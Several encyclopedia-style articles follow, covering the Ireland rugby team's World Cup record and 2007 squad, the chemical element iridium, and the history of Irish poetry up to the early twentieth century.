          Ireland finished second in their pool in 1999, behind Australia and went into the quarter-final play-offs (a system exclusive to the 1999 tournament). There they lost to Argentina, and thus, not being a quarter-finalists, they were not given automatic entry into 2003. They defeated Russia and Georgia to go through as Europe 1. They finished second to Australia in their pool, and were knocked out by France in the quarter finals.


          They started in the so-called " Group of death" with hosts France, Argentina, Namibia and Georgia for the 2007 Rugby World Cup. Their abysmal performance against Namibia (the lowest ranked team in the World cup) in their opening game on September 9 resulted in a laboured 32-17 win. On the back of 3 poor performances in the World cup warm-ups, O'Sullivan played a virtually full strength team against the minnows of the tournament but they failed to take control of the match, allowing Namibia to score two second-half tries and only secured victory by a penalty try and a dubious refereeing decision, allowing Flannery's knocked on ball to stand as a try. Their progress was then put further into doubt when they only managed to beat Georgia 14-10, not obtaining a bonus point. France's victory over Namibia 87-10 put Ireland's progression from the group in doubt, and this was compounded when the French defeated Ireland 25-3. Entering their last group match against Argentina, needing four tries to secure a bonus point without allowing Argentina anything, Ireland were defeated clinically by 30 points to 15. This brought their disappointing 2007 World Cup to an end.


          


          Players


          List of all players to ever play for Ireland


          


          Current squad


          Squad of 30 for the 2007 Rugby World Cup.


          
            
              	
                
                  
                    	Pos.

                    	Player

                    	DoB/Age

                    	Caps

                    	Club
                  


                  
                    	PR

                    	Simon Best

                    	11 February 1978

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	PR

                    	John Hayes

                    	2 November 1973

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	PR

                    	Tony Buckley (IR)

                    	8 October 1980

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	PR

                    	Marcus Horan

                    	7 September 1977

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	PR

                    	Bryan Young

                    	6 November 1981

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	HK

                    	Rory Best

                    	15 August 1982

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	HK

                    	Jerry Flannery

                    	17 October 1978

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	HK

                    	Frankie Sheahan

                    	27 August 1976

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	LK

                    	Donncha O'Callaghan

                    	23 March 1979

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	LK

                    	Paul O'Connell

                    	20 October 1979

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	LK

                    	Malcolm O'Kelly

                    	19 July 1974

                    	

                    	[image: Flag of Ireland] Leinster
                  


                  
                    	FL

                    	Neil Best

                    	3 April 1979

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	FL

                    	Simon Easterby

                    	21 July 1975

                    	

                    	[image: Flag of Wales] Llanelli Scarlets
                  


                  
                    	FL

                    	Stephen Ferris

                    	2 September 1985

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	FL

                    	Alan Quinlan

                    	13 July 1974

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	FL

                    	David Wallace

                    	8 July 1976

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	N8

                    	Denis Leamy

                    	27 November 1981

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	SH

                    	Isaac Boss

                    	9 April 1980

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	SH

                    	Eoin Reddan

                    	20 November 1980

                    	

                    	[image: Flag of England] Wasps
                  


                  
                    	SH

                    	Peter Stringer

                    	13 December 1977

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	FH

                    	Ronan O'Gara

                    	7 March 1977

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	FH

                    	Paddy Wallace

                    	27 August 1979

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	CE

                    	Gordon D'Arcy

                    	10 February 1980

                    	

                    	[image: Flag of Ireland] Leinster
                  


                  
                    	CE

                    	Gavin Duffy

                    	18 September 1981

                    	

                    	[image: Flag of Ireland] Connacht
                  


                  
                    	CE

                    	Brian O'Driscoll

                    	21 January 1979

                    	

                    	[image: Flag of Ireland] Leinster
                  


                  
                    	WG

                    	Brian Carney

                    	23 July 1976

                    	

                    	[image: Flag of Ireland] Munster
                  


                  
                    	WG

                    	Denis Hickie

                    	13 February 1976

                    	

                    	[image: Flag of Ireland] Leinster
                  


                  
                    	WG

                    	Shane Horgan

                    	18 July 1978

                    	

                    	[image: Flag of Ireland] Leinster
                  


                  
                    	WG

                    	Andrew Trimble

                    	20 October 1984

                    	

                    	[image: Flag of Ireland] Ulster
                  


                  
                    	FB

                    	Girvan Dempsey

                    	2 October 1975

                    	

                    	[image: Flag of Ireland] Leinster
                  


                  
                    	FB

                    	Geordan Murphy

                    	19 April 1978

                    	

                    	[image: Flag of England] Leicester
                  

                

              
            

          


          

          IR (Injury Replacement)


          


          Notable Former Players


          Eight former Irish players have been inducted into the International Rugby Hall of Fame


          
            	Mike Gibson


            	Willie John McBride


            	Tony O'Reilly


            	Jack Kyle


            	Syd Millar


            	Keith Wood


            	Tom Kiernan


            	Fergus Slattery

          


          Other Notable players


          
            	Willie Anderson


            	Ollie Campbell


            	Victor Costello


            	Peter Clohessy


            	Ronnie Dawson


            	Mick Doyle


            	Mick Galwey


            	Simon Geoghegan


            	David Humphreys


            	Robert Blair 'Paddy' Mayne


            	Donal Lenihan


            	Andy Mulligan


            	Phillip Orr


            	Nick Popplewell


            	Trevor Ringland


            	Mark Sugden


            	Tony Ward
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              	General
            


            
              	Name, Symbol, Number

              	iridium, Ir, 77
            


            
              	Chemical series

              	transition metals
            


            
              	Group, Period, Block

              	9, 6, d
            


            
              	Appearance

              	silvery white

              [image: ]
            


            
              	Standard atomic weight

              	192.217 (3) gmol1
            


            
              	Electron configuration

              	[Xe] 4f14 5d7 6s2
            


            
              	Electrons per shell

              	2, 8, 18, 32, 15, 2
            


            
              	Physical properties
            


            
              	Phase

              	solid
            


            
              	Density (near r.t.)

              	22.42 gcm3
            


            
              	Liquid density at m.p.

              	19 gcm3
            


            
              	Melting point

              	2739 K

              (2466 C, 4471 F)
            


            
              	Boiling point

              	4701 K

              (4428 C, 8002 F)
            


            
              	Heat of fusion

              	41.12  kJmol1
            


            
              	Heat of vaporization

              	563  kJmol1
            


            
              	Specific heat capacity

              	(25C) 25.10 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure
                  

                  
                    	P(Pa)

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T(K)

                    	2713

                    	2957

                    	3252

                    	3614

                    	4069

                    	4659
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	cubic face centered
            


            
              	Oxidation states

              	2, 3, 4, 6

              (mildly basic oxide)
            


            
              	Electronegativity

              	2.20 (Pauling scale)
            


            
              	Ionization energies

              	1st: 880 kJ/mol
            


            
              	2nd: 1600 kJ/mol
            


            
              	Atomic radius

              	135  pm
            


            
              	Atomic radius (calc.)

              	180 pm
            


            
              	Covalent radius

              	137 pm
            


            
              	Miscellaneous
            


            
              	Magnetic ordering

              	no data
            


            
              	Electrical resistivity

              	(20C) 47.1 nm
            


            
              	Thermal conductivity

              	(300K) 147 Wm1K1
            


            
              	Thermal expansion

              	(25C) 6.4 mm1K1
            


            
              	Speed of sound (thin rod)

              	(20 C) 4825 m/s
            


            
              	Young's modulus

              	528 GPa
            


            
              	Shear modulus

              	210 GPa
            


            
              	Bulk modulus

              	320 GPa
            


            
              	Poisson ratio

              	0.26
            


            
              	Mohs hardness

              	6.5
            


            
              	Vickers hardness

              	1760 MPa
            


            
              	Brinell hardness

              	1670 MPa
            


            
              	CAS registry number

              	7439-88-5
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of iridium
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	189Ir

                    	syn

                    	13.2 d

                    	

                    	0.532

                    	189Os
                  


                  
                    	190Ir

                    	syn

                    	11.8 d

                    	

                    	2.000

                    	190Os
                  


                  
                    	191Ir

                    	37.3%

                    	191Ir is stable with 114 neutrons
                  


                  
                    	192Ir

                    	syn

                    	73.83 d

                    	

                    	1.460

                    	192Pt
                  


                  
                    	

                    	1.046

                    	192Os
                  


                  
                    	192 mIr

                    	syn

                    	241 y

                    	IT

                    	0.155

                    	192Ir
                  


                  
                    	193Ir

                    	62.7%

                    	193Ir is stable with 116 neutrons
                  


                  
                    	194Ir

                    	syn

                    	19.3 h

                    	<

                    	2.247

                    	194Pt
                  


                  
                    	195Ir

                    	syn

                    	2.5 h

                    	<

                    	1.120

                    	195Pt
                  

                

              
            


            
              	References
            

          


          Iridium (pronounced /ɪˈrɪdiəm/) is a chemical element that has the symbol Ir and atomic number 77. A dense, very hard, brittle, silvery-white transition metal of the platinum family, iridium is used in high-strength alloys that can withstand high temperatures and occurs in natural alloys with platinum or osmium. Iridium is notable for being the most corrosion-resistant element known and for its significance in the determination of the probable cause of the extinction, by a meteorite strike, of the dinosaurs. It is used in high-temperature apparatuses, electrical contacts, and as a hardening agent for platinum.


          


          Characteristics


          A platinum group metal, iridium is white, resembling platinum, but with a slight yellowish cast. Due to its extreme hardness and brittleness, iridium is difficult to machine, form, or work. It is the most corrosion-resistant metal known: iridium cannot be attacked by any acids or by aqua regia, but it can be attacked by molten salts, such as NaCl and NaCN.


          The measured density of iridium is only slightly lower than that of osmium, which is often listed as the densest element known. However, calculations of density from the space lattice may produce more reliable data for these elements than actual measurements and give a density of 22,650 kg/m for iridium versus 22,610 kg/m for osmium. Definitive selection between the two is therefore not possible at this time.


          


          Applications


          The principal use of iridium is as a hardening agent in platinum alloys. Other uses:


          
            	Crucibles and devices that require high temperatures.


            	As a radiography source for non-destructive testing


            	Electrical contacts (notable example: Pt-Ir spark plugs).


            	Osmium-iridium alloys are used for compass bearings.


            	Iridium is commonly used in complexes like Ir(mppy)3 and other complexes in polymer LED technology to increase the efficiency from 25% to almost 100% due to triplet harvesting.


            	Used as a source of radioactivity (Ir-192) for the treatment of cancer (in particular High Dose Rate prostate brachytherapy and intracavitary cervix brachytherapy)


            	Iridium is used as a catalyst for carbonylation of methanol to produce acetic acid


            	Iridium is used in supercolliders in the production of antimatter, specifically antiprotons

          


          At one time iridium, as an alloy with platinum, was used in bushing the vents of heavy ordnance, and in a finely powdered condition (iridium black), for painting porcelain black.


          Iridium was used to tip some early-twentieth-century fountain pen nibs. The tip material in modern fountain pens is still conventionally called "iridium," although there is seldom any iridium in it. An exception to this are the JML Fountain pens, sold in the UK.


          


          History


          Iridium was discovered in 1803 by British scientist Smithson Tennant in London, England along with osmium in the dark-coloured residue of dissolving crude platinum in aqua regia (a mixture of hydrochloric and nitric acid). The element was named after the Greek word for rainbow (ί, iris; iridium means "of rainbows") because many of its salts are strongly coloured.


          An alloy of 90% platinum and 10% iridium was used in 1889 to construct the standard metre bar and kilogramme mass, kept by the International Bureau of Weights and Measures near Paris. The metre bar was replaced as the definition of the fundamental unit of length in 1960 (see krypton), but the kilogram prototype is still the international standard of mass.


          


          K-T boundary


          The KT boundary of 65 million years ago, marking the temporal border between the Cretaceous and Tertiary eras of geological time, was identified by a thin stratum of iridium-rich clay. A team led by Luis Alvarez (1980) proposed an extraterrestrial origin for this iridium, attributing it to an asteroid or comet impact. Their theory is widely accepted to explain the demise of the dinosaurs. A large buried impact crater structure with an estimated age of about 65 million years was later identified near what is now Yucatn Peninsula. Dewey M. McLean and others argue that the iridium may have been of volcanic origin instead. The Earth's core is rich in iridium, and Piton de la Fournaise on Runion, for example, is still releasing iridium today.


          


          Occurrence


          Iridium is found uncombined in nature with platinum and other platinum group metals in alluvial deposits. Naturally occurring iridium alloys include osmiridium and iridiosmium, both of which are mixtures of iridium and osmium. It is recovered commercially as a by-product from nickel mining and processing.


          Iridium is the rarest non-radioactive, non-noble gas element in the Earth's crust, but it is relatively common in meteorites. Iridium and osmium are the densest elements, and both are believed to have dropped below the Earth's crust toward the core when the Earth was young and molten. The concentration of iridium in meteorites matches the concentration of iridium in the Earth as a whole.


          


          Isotopes


          There are two natural isotopes of iridium, and many radioisotopes, the most stable radioisotope being Ir-192 with a half-life of 73.83 days. Ir-192 beta decays into platinum-192, while most of the other radioisotopes decay into osmium.


          


          Compounds


          


          Production


          


          Precautions


          Iridium metal is mostly non-toxic due to its relative unreactivity.
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          The history of Irish poetry includes the poetries of two languages, one in Irish and the other in English. The complex interplay between these two traditions, and between both of them and other poetries in English, has produced a body of work that is both rich in variety and difficult to categorise.


          The earliest surviving poems in Irish date back to the 6th century, while the first known poems in English from Ireland date to the 14th century. Although some cross-fertilization between the two language traditions has always happened, the final emergence of an English-language poetry that had absorbed themes and models from Irish did not appear until the 19th century. This culminated in the work of the poets of the Celtic Revival at the end of the 19th and beginning of the 20th century.


          Towards the last quarter of the century, modern Irish poetry has tended to a wide range of diversity, from the poets of the Northern school to writers influenced by the modernist tradition and those facing the new questions posed by an increasingly urban and cosmopolitan society.


          


          Early Irish poetry


          Poetry in Irish represents the oldest vernacular poetry in Europe. The earliest examples date from the 6th century, and are generally short lyrics on themes from religion or the world of nature. They were frequently written by their scribe authors in the margins of the illuminated manuscripts that they were copying. Another source of early Irish poetry is the poems in the tales and sagas, such as the Tin B Cailnge. Unlike many other European epic cycles, the Irish sagas were written in prose, with verse interpolations at moments of heightened tension or emotion. Although usually surviving in recensions dating from the later medieval period, these sagas and especially the poetic sections, are linguistically archaic, and afford the reader a glimpse of pre-Christian Ireland.


          


          Medieval/Early modern


          
            [image: Briton Rivi�re's vision of a scene from Edmund Spencer's poem The Faerie Queene]

            
              Briton Rivire's vision of a scene from Edmund Spencer's poem The Faerie Queene
            

          


          Irish bards formed a professional hereditary caste of highly trained, learned poets. The bards were steeped in the history and traditions of clan and country, as well as in the technical requirements of a verse technique that was syllabic and used assonance, half rhyme and alliteration. As officials of the court of king or chieftain, they performed a number of official roles. They were chroniclers and satirists whose job it was to praise their employers and damn those who crossed them. It was believed that a well-aimed bardic satire, glam dicin, could raise boils on the face of its target. However, much of their work would not strike the modern reader as being poetry at all, consisting as it does of extended genealogies and almost journalistic accounts of the deeds of their lords and ancestors.


          The Metrical Dindshenchas, or Lore of Places, is probably the major surviving monument of Irish bardic verse. It is a great onomastic anthology of naming legends of significant places in the Irish landscape and comprises about 176 poems in total. The earliest of these date from the 11th century, and were probably originally compiled on a provincial basis. As a national compilation, the Metrical Dindshenchas has come down to us in two different recensions. Knowledge of the real or putative history of local places formed an important part of the education of the elite in ancient Ireland, so the Dindshenchas was probably a kind of textbook in origin.


          Verse tales of Fionn and the Fianna, sometimes known as Ossianic poetry, were extremely common in Ireland and Scotland throughout this period. They represent a move from earlier prose tales with verse interludes to stories told completely in verse. There is also a notable shift in tone, with the Fionn poems being much closer to the Romance tradition as opposed to the epic nature of the sagas. The Fionn poems form one of the key Celtic sources for the Arthurian legends.


          British Library Manuscript, Harley 913, is a group of poems written in Ireland in the early 14th century. They are usually called the Kildare poems because of their association with that county. Both poems and manuscript have strong Franciscan associations and are full of ideas from the wider Western European Christian tradition. They also represent the early stages of the second tradition of Irish poetry, that of poetry in the English language, as they were written in Middle English.


          During the Elizabethan reconquest, two of the most significant English poets of the time saw service in the Irish colonies. Sir Walter Raleigh had little impact on the course of Irish literature, but the time spent in Munster by Edmund Spenser was to have serious consequences both for his own writings and for the future course of cultural development in Ireland. Spenser's relationship with Ireland was somewhat ambiguous. On the one hand, an idealised Munster landscape forms the backdrop for much of the action for his masterpiece, The Faerie Queen. On the other, he condemned Ireland and everything Irish as barbaric in his prose polemic A View of the Present State of Ireland.


          In A View, he describes the Irish bards as being,


          
            
              	

              	soe far from instructinge younge men in Morrall discipline, that they themselves doe more deserve to be sharplie decyplined; for they seldome use to chuse unto themselves the doinges of good men, for the ornamentes of theire poems, but whomesoever they finde to bee most lycentious of lief, most bolde and lawles in his doinges, most daungerous and desperate in all partes of disobedience and rebellious disposicon, him they sett up and glorifie in their rymes, him they prayse to the people, and to younge men make an example to followe.

              	
            

          


          Given that the bards depended on aristocratic support to survive, and that this power and patronage was shifting towards the new English rulers, this thorough condemnation of their moral values may well have contributed to their demise as a caste.


          


          Gaelic poetry in the 17th century


          The Battle of Kinsale in 1601 saw the defeat of Hugh O'Neill, despite his alliance with the Spanish, and the ultimate victory in the Elizabethan conquest of Ireland came with his surrender to crown authority in 1603. In consequence, the system of education and patronage that underpinned the professional bardic schools came under pressure, and the hereditary poets eventually engaged in a spat - the Contention of the bards - that marked the end of their ancient influence. During the early 17th century a new Gaelic poetry took root, one that sought inspiration in the margins of a dispossessed Irish-speaking society. The language of this poetry is today called Early Modern Irish. Although some 17th century poets continued to enjoy a degree of patronage, many, if not most, of them were part-time writers who also worked on the land, as teachers, and anywhere that they could earn their keep. Their poetry also changed, with a move away from the syllabic verse of the schools to accentual metres, reflecting the oral poetry of the bardic period. A good deal of the poetry of this period deals with political and historical themes that reflect the poets' sense of a world lost.


          The poets adapted to the new English dominated order in several ways. Some of them continued to find patronage among the Gaelic Irish and Old English aristocracy. Some of the English landowners settled in Ireland after the Plantations of Ireland also patronised Irish poets, for instance George Carew and Roger Boyle. Other members of hereditary bardic families sent their sons to the new Irish Colleges that had been set up in Catholic Europe for the education of Irish Catholics, who were not permitted to found schools or Universities at home. Much of the Irish poetry of the seventeenth century was therefore composed by Catholic clerics and Irish society fell increasingly under Counter reformation influences. By mid century, the subordination of the native Catholic upper classes in Ireland boiled over in the Irish Rebellion of 1641. Many Irish language poets wrote highly politicised poetry in support of the Irish Catholics organised in Confederate Ireland. For instance, the cleric poet Pdraign Haicad wrote, Eirigh mo Duiche le Dia ("Arise my Country with God") in support of the rebellion, which advised that


          
            	Caithfidh fir ireann uile


            	o haicme go haonduine...


            	gliec na timcheall no tuitim

          


          ("All Irishmen from one person to all people must unite or fall")


          Another of Haicad's poems Moscail do mhisneach a Banbha ("Gather your courage oh Ireland") in 1647 encouraged the Irish Catholic war effort in the Irish Confederate Wars. It expressed the opinion that Catholics should not tolerate Protestantism in Ireland,,


          
            	Creideamh Chriost le creideamh Luiteir...


            	ladgadh gris i sneachta sud

          


          (The religion of Christ with the religion of Luther is like ashes in the snow")


          Following the defeat of the Irish Catholics in the Cromwellian conquest of Ireland 164953, and the destruction of the old Irish landed classes, many poets wrote mourning the fallen order or lamenting the destruction and repression of the Cromwellian conquest. The anonymous poem an Siogai Romanach went,


          
            	Ag so an cogadh do chriochnaigh ire


            	s do chuir na milte ag iarri dearca...


            	Do rith plaig is gorta in aonacht

          


          ("This was the war that finished Ireland and put thousands begging, plague and famine ran together")


          Another poem by Eamonn an Duna is a strange mixture of Irish and English,


          
            	Le execution bhios suil an cheidir


            	costas buinte na chuine ag an ndeanach

          


          (The first thing a man expects is execution, the last that costs be awarded against him [in court]")


          
            	Transport transplant, mo mheabhair ar Bhearla


            	("Transport transplant, is what I remember of English")


            	A tory, hack him, hang him, a rebel,


            	a rogue, a thief a priest, a papist

          


          After this period, the poets lost most of their patrons and protectors. In the subsequent Williamite war in Ireland Catholic Jacobites tried to recover their position by supporting James II. Daibhi O Bruadair wrote many poems in praise of the Jacobite war effort and in particular of his hero, Patrick Sarsfield. The poets viewed the war as revenge against the Protestant settlers who had come to dominate Ireland, as the following poem extract makes clear,


          
            	"You Popish rogue", ni leomhaid a labhairt sinn


            	acht "Cromwellian dog" is focal faire againn


            	no " cia sud thall" go teann gan eagla


            	"Mise Tadhg" geadh teinn an t-agallamh

          


          ("You Popish rogue" is not spoken, but "Cromwellian dog" is our watchword, "Who goes there" does not provoke fear, "I am Tadhg" [an Irishman] is the answer given") From Diarmuid Mac Cairthaigh, Cead buidhe re Dia ("A hundred victories with God").


          The Jacobite's defeat in the War, and in particular James II's ignominious flight after the Battle of the Boyne, gave rise to the following derisive verse,


          
            	Seamus an chaca, a chaill ireann,


            	lena leathbhrog ghallda is a leathbhrog Ghaelach

          


          ("James the shit has lost Ireland, with his one shoe English and one shoe Irish")


          The main poets of this period include Dibh  Bruadair (David O Bruadair) (1625?1698), Piaras Feiritar (1600?1653) and Aogn  Rathaille (16751729).  Rathaille belongs as much to the 18th as the 17th century and his work, including the introduction of the aisling genre, marks something of a transition to a post Battle of the Boyne Ireland.


          


          The 18th century


          The 18th Century perhaps marks the point at which the two language traditions reach equal weight of importance. In Swift, the English tradition has its first writer of genius. Poetry in Irish now reflects the passing of the old Gaelic order and the patronage on which the poets depended for their livelihoods. This, then, is a period of transition writ large.


          


          Gaelic songs: The end of an order


          As the old native aristocracy suffered military and political defeat and, in many cases, exile, the world order that had supported the bardic poets disappeared. In these circumstances, it is hardly surprising that much Irish language poetry and song of this period laments these changes and the poet's plight. However, being practical professionals, the poets were not above writing poems in praise of the new English lords in the hope of finding a continuity of court patronage. This was not generally a successful tactic, and Gaelic poets tended to be folk poets until the Gaelic revival that began towards the end of the 19th century. However, many of the poems and songs written during this period of apparent decline live on and are still recited and sung today.


          


          Cirt An Mhen Oche


          Cirt An Mhen Oche (The Midnight Court) by Brian Merriman (17471805) is something of an oddity in 18th century Irish poetry in Irish. Merriman was a teacher of mathematics who lived and worked in the Munster counties of Clare and Limerick. Cirt An Mhen Oche, effectively his only poetic work, was written around 1780. The poem begins by using the conventions of the Aisling, or vision poem, in which the poet is out walking when he has a vision of a woman from the other world. Typically, this woman is Ireland and the poem will lament her lot and/or call on her 'sons' to rebel against foreign tyranny.


          In Merriman's hands, the convention is made to take an unusual twist. The woman drags the poet to the court of the fairy queen Aoibheal. There follows a court case in which a young woman calls on Aoibheal to take action against the young men of Ireland for their refusal to marry. She is answered by an old man who first laments the infidelity of his own young wife and the dissolute lifestyles of young women in general. He then calls on the queen to end the institution of marriage completely and to replace it with a system of free love. The young woman returns to mock the old man's inability to satisfy his young wife's needs and to call for an end to the celibacy among the clergy so as to widen the pool of prospective mates. Finally, Aoibheal rules that all men must mate by the age of 21, that older men who fail to satisfy women must be punished, that sex must be applauded, not condemned, and that priests will soon be free to marry. To his dismay, the poet discovers that he is to be the first to suffer the consequences of this new law, but then awakens to find it was just a nightmare. In its frank treatment of sexuality and of clerical celibacy, Cirt An Mhen Oche is a unique document in the history of Irish poetry in either language.


          


          Swift and Goldsmith
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          In Jonathan Swift (16671745), Irish literature in English found its first writer of real genius. Although best known for prose works like Gulliver's Travels and A Tale of a Tub, Swift was a poet of considerable talent. Technically close to his English contemporaries Pope and Dryden, Swift's poetry evinces the same tone savage satire and horror of the human body and its functions that characterises much of his prose. Interestingly, Swift also published translations of poems from the Irish.


          Oliver Goldsmith (1730?1774) started his literary career as a hack writer in London, writing on any subject that would pay enough to keep his creditors at bay. He came to belong to the circle of Samuel Johnson, Edmund Burke and Sir Joshua Reynolds. His reputation depends mainly on a novel, The Vicar of Wakefield, a play, She Stoops to Conquer, and two long poems, The Traveller and The Deserted Village. The last of these may be the first and best poem by an Irish poet in the English pastoral tradition. It has been variously interpreted as a lament for the death of Irish village life under British rule and a protest at the effects of agricultural reform on the English rural landscape.


          


          The 19th century


          During the course of the 19th century, political and economic factors resulted in the decline of the Irish language and the concurrent rise of English as the main language of Ireland. This fact is reflected in the poetry of the period. The end of old ways, a feature of the bardic laments of the eighteenth century, is also to be found in the early nineteenth century poem Caoine Cill Chais (The Lament for Kilcash). In this verse the anonymous poet laments that the castle of Cill Chais stands empty, its woods are cut down and the Catholic religion is gone underground (Flood and Flood 1999:85-93):


          
            
              	

              	
                Cad a dhanfaimid feasta gan adhmad,

                t deireadh na gcoillte ar lr;

                nl trcht ar Chill Chais n a teaghlach,

                is n bainfear a cling go brth;

                an it d ina gcnaodh an deighbhean

                a fuair gradam is meidhir tar mhn,

                bhodh iarla ag tarraing tar toinn ann,

                is an tAifreann binn  r.


                What shall we do from now on without timber?
 The last of the woods is gone.
 No more of Kilcash and its household
 And its bells will not ring again.
 The place where that great lady lived
 Who received esteem and love above all others
 Earls came from overseas to visit there
 And Mass was sweetly read.

              

              	
            

          


          Paradoxically, as soon as English became the dominant language of Irish poetry, the poets began to mine the Irish-language heritage as a source of themes and techniques. J. J. Callanan (17951829) was born in Cork and died at a young age in Lisbon. Unlike many other more visibly nationalist poets who would follow later, he knew Irish well, and several of his poems are loose versions of Irish originals. Although extremely close to Irish materials, he was also profoundly influenced by Byron and his peers; possibly his finest poem, the title work of The Recluse of Inchidony and Other Poems (1829), was written in Spenserian stanzas that were clearly inspired by Childe Harold's Pilgrimage. Probably the most renowned Irish poet to write in English in a recognisably Irish fashion in the first half of the nineteenth century was Thomas Moore (17791852), although he had no knowledge of, and little respect for, the Irish language. He attended Trinity College Dublin at the same time as the revolutionary Robert Emmet, who was executed in 1803. Moore's most enduring work, Irish Melodies, was popular with English audiences. The poems are, perhaps, somewhat overloaded with harps, bards and minstrels of Erin to suit modern tastes, but they did open up the possibility of a distinctive Irish English-language poetic tradition and served as an exemplar for Irish poets to come. In 1842, Charles Gavan Duffy (18161903), Thomas Davis, (18141845), and John Blake Dillon (18161866) founded The Nation to agitate for reform of British rule. The group of politicians and writers associated with The Nation came to be known as the Young Irelanders. The magazine published verse, including work by Duffy and Davis, whose A Nation Once Again is still popular among Irish Nationalists. However, the most significant poet associated with The Nation was undoubtedly James Clarence Mangan (18031849). Mangan was a true pote maudit, who threw himself into the role of bard, and even included translations of bardic poems in his publications.


          Another poet who supported the Young Irelanders, although not directly connected with them, was Samuel Ferguson (18101886). Ferguson once wrote: 'my ambition (is) to raise the native elements of Irish history to a dignified level.' To this end, he wrote many verse retellings of the Old Irish sagas. He also wrote a moving elegy to Thomas Davis. Ferguson, who believed that Ireland's political fate ultimately lay within the Union, brought a new scholarly exactitude to the study and translation of Irish texts. The combination of such a political belief with his dedicated cultural work can be difficult for us to comprehend now, but it illustrates some of the important currents of the period. William Allingham (18241889) was another important Unionist figure in Irish poetry. Born and bred in Ballyshannon, Donegal, he spent most of his working life in England and was associated with the Pre-Raphaelite movement, and a close friend of Tennyson. His Day and Night Songs was illustrated by Dante Gabriel Rossetti and Millais. His most important work is the long poem, Laurence Bloomfield in Ireland (1864), a realist narrative which wittily and movingly deals with the land agitation in Ireland during the period. He was also known for his work as a collector of folk ballads in both Ireland and England.


          Ferguson's research opened the way for many of the achievements of the Celtic Revival, especially those of Yeats and Douglas Hyde, but this narrative of Irish poetry which leads to the Revival as culmination can also be deceptive and occlude important poetry, such as the work of James Henry (17981876), medical doctor, Virgil scholar and poet. His large body of work was completely overlooked until Christopher Ricks included him in two anthologies, and eventually edited a selection of his poetry. Various in his means, cosmopolitan in his range and possessed of an acute wit, Henry shows the negative force of nationalism in Irish criticism: his omission from standard accounts and anthologies for over 100 years can only be due to his blithe disregard of the matter of Ireland. 'Irish poetry', James's example suggests, does not always have to be about Ireland.


          


          Folk songs and poems


          During the 19th century, poetry in Irish became essentially a folk art. One of the few well-known figures from this period was Antoine  Raifteiri (Anthony Raftery) (17841835), who is known as the last of the wandering bards. His Mise Raifteiri an file is still learned by heart in some Irish schools. In addition, this was one of the great periods for the composition of folk songs in both languages, and the majority of the traditional singer's repertoire is typically made up of 19th century songs.


          


          The Celtic revival
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          Probably the most significant poetic movement of the second half of the 19th century was French Symbolism. This movement inevitably influenced Irish writers, not least Oscar Wilde (18451900). Although Wilde is best known for his plays, fiction, and The Ballad of Reading Gaol, he also wrote poetry in a symbolist vein and was the first Irish writer to experiment with prose poetry. However, the overtly cosmopolitan Wilde was not to have much influence on the future course of Irish writing. W. B. Yeats (18651939) was much more influential in the long run. Yeats, too, was influenced by his French contemporaries but consciously focused on an identifiably Irish content. As such, he was responsible for the establishment of the literary movement known as the Celtic Revival. He won the Nobel Prize in Literature in 1923. Apart from Yeats, much of the impetus for the Celtic Revival came from the work of scholarly translators who were aiding in the discovery of both the ancient sagas and Ossianic poetry and the more recent folk song tradition in Irish. One of the most significant of these was Douglas Hyde (18601949), later the first President of Ireland, whose Love Songs of Connacht was widely admired.


          


          The 20th century


          


          Yeats and modernism


          In the 1910s, Yeats became acquainted with the work of James Joyce, and worked closely with Ezra Pound, who served as his personal secretary for a time. Through Pound, Yeats also became familiar with the work of a range of prominent modernist poets. He undoubtedly learned from these contacts, and from his 1916 book Responsibilities and Other Poems onwards his work, while not entirely meriting the label modernist, became much more hard-edged than it had been.


          A second group of early 20th century Irish poets worth noting are those associated with the Easter Rising of 1916. Three of the Republican leadership, Padraig Pearse (18791916), Joseph Mary Plunkett (18791916) and Thomas MacDonagh (18781916), were noted poets. Although much of the verse written by them is predictably Catholic and Nationalist in outlook, they were competent writers and their work is of considerable historical interest. Pearse, in particular, shows the influence of his contact with the work of Walt Whitman. Individual from these groups the Boyne Valley "peasant poet" Francis Ledwidge, killed 1917 in the Great War.


